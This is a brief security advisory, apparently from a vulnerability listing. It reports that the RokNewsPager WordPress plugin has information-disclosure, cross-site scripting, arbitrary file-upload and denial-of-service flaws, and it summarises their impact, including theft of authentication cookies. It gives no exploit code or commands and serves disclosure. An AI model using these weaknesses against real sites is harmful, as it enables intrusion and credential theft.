The RokNewsPager plugin for WordPress is prone to multiple security vulnerabilities, including:

1. An information-disclosure vulnerability
2. A cross-site scripting vulnerability
3. An arbitrary file-upload vulnerability
4. A denial-of-service vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
